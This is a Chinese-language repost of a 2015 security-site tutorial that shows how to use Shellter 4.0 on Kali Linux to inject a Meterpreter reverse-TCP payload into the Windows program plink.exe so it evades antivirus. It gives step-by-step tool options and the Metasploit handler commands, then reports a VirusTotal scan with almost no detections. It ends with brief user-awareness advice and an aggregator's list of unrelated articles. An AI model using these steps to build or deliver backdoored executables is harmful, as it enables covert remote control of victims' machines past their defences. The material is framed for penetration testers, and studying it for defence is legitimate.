用Kali Linux动态shellcode注入工具:Shellter 4.0 绕过反病毒软件

本文主要是介绍用Kali Linux动态shellcode注入工具:Shellter 4.0 绕过反病毒软件,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

http://bobao.360.cn/learning/detail/554.html


详细介绍:http://drops.wooyun.org/tips/4225


用Kali Linux动态shellcode注入工具:Shellter 4.0 绕过反病毒软件

2015-07-24 18:59:32 来源:360安全播报 阅读:2646次 点赞(0) 收藏(1)


分享到:

http://p2.qhimg.com/t015417c19aca498620.jpg

你是否在为无法通过shell代码来绕过那讨人厌的反病毒软件而烦恼?你可以试试最新版本的Shellter 4.0。

Shellter是一个真正意义上的动态shellcode注入工具。我们所谓的“动态”,意思就是从一开始,我们的代码注入过程就不需要遵循一系列非常严苛的规则,比如说一定要在一个可执行的注入点或者在一个静态可预测的地方执行代码注入。Shellter目前仅支持在32位的操作平台上运行和使用。这个项目就是在过去的两年中,由我发起并在我的闲暇时间由我开发的一个项目。

本月初,B-Sides Lisbon网站发布了一款专为渗透测试人员开发设计的最新版本的Shellter。在此次的升级中,程序通过一个定义编码器和一个多态解码器提升了代码混淆的程度,这个版本的Shellter通过引入了最常见的Meterpreter shell代码,而为测试的过程节省了很多的步骤。

Shellter首先需要获取一个正常的Windows .exe可执行文件,然后它会将shell代码添加进去,这样就可以成功地修改这个文件并且使其绕过反病毒软件的监测了。该程序有一个自动模式,该模式会使整个操作过程变得十分的简单。在这片指导文章中,我会使用最新版本的Kali Linux系统以及一个装有Windows 7系统的虚拟机。

解释的已经够多了,接下来让我们实践一下!

1.下载并安装”shelter”。(https://www.shellterproject.com/download/)

**请注意:很明显,Kali目前的代码库中是不含有最新的4.0版本Shellter的。为了获取最新的版本,我们不能用传统的安装方法(使用apt-get安装shellter),我们必须下载并解压ZIP文件,并将文件拷贝至”/etc/share”文件夹中。

2.从Kali系统的“usr/share/windows-binaries”目录中得到“plink.exe”,然后将其拷贝至Shellter的文件夹中。

3.启动Shellter-从终端启动“shellter“,或者如果你手动安装了”wineconsole shelter”,你也可以在“/etc/share/shellter”目录下找到它并启动它。

http://p7.qhimg.com/t01015771be0c85d389.png

4.选项”A”表示开启自动模式。

5.在提示PE目标时,进入”plink.exe”。

6.当提示选择有效载荷时,选择“L”,然后选择“1”。

http://p7.qhimg.com/t01da0e81dc121709e8.png

7.接下来,查看你Kali系统的IP地址,并将IP地址输入进去(我的IP地址是192.168.1.39)。

8.添加程序所使用的端口(我使用的是5555)。

http://p0.qhimg.com/t01bf2f5f271611b340.png

Shellter将会对代码进行处理,这时你可能需要稍等一会儿。然后,你就可以看到:

http://p4.qhimg.com/t013fba2c43b64776ec.png

成功啦!

 9.现在,我们需要在Kali系统中启动一个监听服务,并使用与之前同样的参数对其进行配置。

l  启动Metasploit(在终端中输入msfconsole’’)

1
2
3
4
5
use exploit /multi/handler
set  payload windows /meterpreter/reverse_tcp
set  lhost 192.168.1.39
set  lport 5555
exploit


10.既然Kali在等待一个可用链接。那么我们就可以将plink.exe的命令拷贝至Windows 7系统中并且运行它:

http://p8.qhimg.com/t018537b285a5e8505f.png

然后,我们就得到了一个shell!

http://p6.qhimg.com/t01ff305a2098f6dcc0.png

与处理之前的程序相比,经过处理的后门程序的大小与处理之前的程序在大小上是完全一样的!现在,你可以将你的后门程序上传至Virustotal网站,并使用网站提供的工具对你的程序进行恶意内容检测了:

http://p6.qhimg.com/t01d08c65aafc0373b1.png

有一个反病毒引擎的检测结果为恶意的,但是这个反病毒软件并不是一款主流的反病毒产品…

结论

正如你所见,制作一个能够绕过反病毒软件的后门文件是非常容易的。反病毒软件是很厉害的,但是它并不能阻止所有的东西,你还需要让你的用户在浏览网站,社交媒体和电子邮件的时候保持警惕。

避免访问那些可疑的网站,不要允许网站弹出窗口和警告,也不要根据网站的提示安装任何的东西,当然了,你也不要随意打开电子邮件中可疑的附件文件。如果你并不清楚这个文件是否安全,你可以询问你的IT部门来获取帮助。哪怕你的用户只有一点点的警惕性,那么对于保护你网络的安全性也会有莫大的帮助!


相关阅读:

Shellter:动态shellcode注入工具

本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。


这篇关于用Kali Linux动态shellcode注入工具:Shellter 4.0 绕过反病毒软件的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/253776

相关文章

基于Python开发Windows屏幕控制工具

《基于Python开发Windows屏幕控制工具》在数字化办公时代,屏幕管理已成为提升工作效率和保护眼睛健康的重要环节,本文将分享一个基于Python和PySide6开发的Windows屏幕控制工具,... 目录概述功能亮点界面展示实现步骤详解1. 环境准备2. 亮度控制模块3. 息屏功能实现4. 息屏时间

基于Linux的ffmpeg python的关键帧抽取

《基于Linux的ffmpegpython的关键帧抽取》本文主要介绍了基于Linux的ffmpegpython的关键帧抽取,实现以按帧或时间间隔抽取关键帧,文中通过示例代码介绍的非常详细,对大家的学... 目录1.FFmpeg的环境配置1) 创建一个虚拟环境envjavascript2) ffmpeg-py

SQLite3命令行工具最佳实践指南

《SQLite3命令行工具最佳实践指南》SQLite3是轻量级嵌入式数据库,无需服务器支持,具备ACID事务与跨平台特性,适用于小型项目和学习,sqlite3.exe作为命令行工具,支持SQL执行、数... 目录1. SQLite3简介和特点2. sqlite3.exe使用概述2.1 sqlite3.exe

Linux脚本(shell)的使用方式

《Linux脚本(shell)的使用方式》:本文主要介绍Linux脚本(shell)的使用方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录概述语法详解数学运算表达式Shell变量变量分类环境变量Shell内部变量自定义变量:定义、赋值自定义变量:引用、修改、删

基于Python实现一个Windows Tree命令工具

《基于Python实现一个WindowsTree命令工具》今天想要在Windows平台的CMD命令终端窗口中使用像Linux下的tree命令,打印一下目录结构层级树,然而还真有tree命令,但是发现... 目录引言实现代码使用说明可用选项示例用法功能特点添加到环境变量方法一:创建批处理文件并添加到PATH1

Maven 配置中的 <mirror>绕过 HTTP 阻断机制的方法

《Maven配置中的<mirror>绕过HTTP阻断机制的方法》:本文主要介绍Maven配置中的<mirror>绕过HTTP阻断机制的方法,本文给大家分享问题原因及解决方案,感兴趣的朋友一... 目录一、问题场景:升级 Maven 后构建失败二、解决方案:通过 <mirror> 配置覆盖默认行为1. 配置示

使用jenv工具管理多个JDK版本的方法步骤

《使用jenv工具管理多个JDK版本的方法步骤》jenv是一个开源的Java环境管理工具,旨在帮助开发者在同一台机器上轻松管理和切换多个Java版本,:本文主要介绍使用jenv工具管理多个JD... 目录一、jenv到底是干啥的?二、jenv的核心功能(一)管理多个Java版本(二)支持插件扩展(三)环境隔

Linux链表操作方式

《Linux链表操作方式》:本文主要介绍Linux链表操作方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、链表基础概念与内核链表优势二、内核链表结构与宏解析三、内核链表的优点四、用户态链表示例五、双向循环链表在内核中的实现优势六、典型应用场景七、调试技巧与

Python使用smtplib库开发一个邮件自动发送工具

《Python使用smtplib库开发一个邮件自动发送工具》在现代软件开发中,自动化邮件发送是一个非常实用的功能,无论是系统通知、营销邮件、还是日常工作报告,Python的smtplib库都能帮助我们... 目录代码实现与知识点解析1. 导入必要的库2. 配置邮件服务器参数3. 创建邮件发送类4. 实现邮件

详解Linux中常见环境变量的特点与设置

《详解Linux中常见环境变量的特点与设置》环境变量是操作系统和用户设置的一些动态键值对,为运行的程序提供配置信息,理解环境变量对于系统管理、软件开发都很重要,下面小编就为大家详细介绍一下吧... 目录前言一、环境变量的概念二、常见的环境变量三、环境变量特点及其相关指令3.1 环境变量的全局性3.2、环境变